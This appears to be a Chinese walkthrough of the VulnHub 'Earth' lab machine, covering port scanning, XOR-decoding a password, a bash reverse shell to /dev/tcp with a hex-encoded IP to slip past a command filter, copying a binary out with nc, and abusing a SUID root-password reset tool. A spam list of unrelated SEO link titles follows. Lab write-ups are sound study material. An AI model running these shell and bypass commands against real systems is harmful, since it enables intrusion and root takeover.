当前位置: 首页 > news >正文

seo 网站地图营销知识和技巧

seo 网站地图,营销知识和技巧,做网站一个人能做吗,做产品目录的网站项目地址 https://download.vulnhub.com/theplanets/Earth.ova.torrent 搭建靶机 官网下载.ova文件双击vm打开导入 获取靶机IP kail终端输入 arp-scan -l 获取靶机 IP 192.168.131.184 信息收集 端口扫描 sudo nmap -sC -sV -p- 192.168.131.184 可以看到开启22端口&…

项目地址

https://download.vulnhub.com/theplanets/Earth.ova.torrent

搭建靶机

官网下载.ova文件双击vm打开导入

获取靶机IP kail终端输入

arp-scan -l

获取靶机 IP 192.168.131.184

信息收集

端口扫描

sudo nmap -sC -sV -p- 192.168.131.184

可以看到开启22端口,80端口

并且80端口配置了两个dns,需要修改hosts文件指定IP

访问ip

发现400报错 修改hosts

sudo chmod 777 /etc/hosts
vi /etc/hosts
192.168.131.184 earth.local terratest.earth.local

浏览器访问http://earth.local,页面显示正常

输入框随意添加字符,点击Send Message,下方会增加一串数字

访问另外一个域名https://terratest.earth.local

目录扫描

dirb https://terratest.earth.local/

漏洞利用

尝试访问robots.txt

猜解后缀名为txt

浏览器访问https://terratest.earth.local/testingnotes.txt

文中提到testdata.txt作为解密字典,先下载它 terra是用户名

wget https://terratest.earth.local/testdata.txt --no-check-certificate

进入该文件

使用网站https://gchq.github.io/CyberChef/ 可以解出3段密码

步骤:先将previous message从16进制数转化为UTF-8,再与message进行XOR运算,message就是testdata.txt的内容,XOR运算也使用UTF-8编码/

According to radiometric datingestimation and other evidence, Earth formed over 5.5 billion years ago. within the first billion years of Earth's history,Life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

第三段解出了需要的东西,查看发现是重复的内容,可能是登陆密码

尝试登录

使用账号:terra 密码:earthclimatechangebad4humans登陆成功

发现是命令行 直接寻找flag文件:

find / -name "*flag*"

发现了一个用户flag:/var/earth_web/user_flag.txt

cat /var/earth_web/user_flag.txt

得到flag

反弹shell

kali中开启监听

nc -lvvp 1234

命令行输入

bash -i >& /dev/tcp/192.168.131.128/8888 0>&1

可以看到被拦截了

尝试将ip进行16进制转换绕过

bash -i >& /dev/tcp/0xc0.0xa8.0x83.0x80/1234 0>&1    

反弹成功

使用find命令查找一下flag

find / -name "*flag.txt"

可以得到user_flag
现在只有网站权限,尝试提权到root先看下suid有些什么信息,看到这个命令

find / -perm -u=s -type f 2>/dev/null

strings /usr/bin/reset_root

看到一条信息:大概意思是修改root密码为Earth

尝试执行reset_root

reset_root

提示触发器不存在

由于靶机没有ltrace,所以将/usr/bin/reset_root传到本地分析

kali攻击机监听2222端口,并将接收到的内容重定向到文件reset_root/

nc -lvvp 2222 > reset_root

靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口

nc 192.168.131.128 2222 < /usr/bin/reset_root

可以看出会检查触发器是否存在为条件,这里就是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe这3个文件夹都需要存在

那么在靶机上创建这三个文件夹,再执行reset_root,成功重置root密码为Earth

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

这里可以登录拿到flag

http://www.dinnco.com/news/36271.html

相关文章:

  • 临沂企业做网站31省市新增疫情最新消息
  • 提高网站目标流量关键词竞价排名是什么意思
  • 重庆建设工程质量监督检测中心seo关键词排名优化费用
  • 车工订单网站北京快速优化排名
  • wordpress4.94主题上传不显示seo顾问能赚钱吗
  • 会员制网站 建设百度网盘破解版
  • tooopen素材公社新站点seo联系方式
  • 做网站建设哪家公司好公司网站制作要多少钱
  • h5商城网站开发网络推广计划方案
  • DW做网站下拉列表怎么做烟台seo快速排名
  • 云南哪里有给做网站的b站推广入口在哪
  • 做网站用什么空间宁波seo网站推广软件
  • 字牌标识公司网站网站编号 6019百度合伙人答题兼职赚钱
  • 不同类型网站栏目设置区别友情链接是什么
  • 苏州做企业网站建设福州seo排名优化公司
  • 做网站没签合同搜索关键词的软件
  • 教做发型的网站seo网站推广排名
  • 免费建论坛网站常州网站seo
  • 建一个个人网站要多少钱色盲和色弱的区别
  • c2c就是利用专业网站提供的电子商务平台完成交易快速优化官网
  • 南宁企业网站建站佛山关键词排名工具
  • 医院网站建设策划郑州seo排名优化
  • 免费企业网站注册上海广告公司排名
  • i岗网站建设最新疫情消息
  • 农业电商网站建设pp许昌网站seo
  • 凡客官网登录入口网址济南seo外包服务
  • 那些公司需要网站开发工程师网络营销方式方法
  • 医院网站建设具体内容品牌传播方案
  • 日本软银集团seo怎么提升关键词的排名
  • 做go分析的网站中央电视台一套广告价目表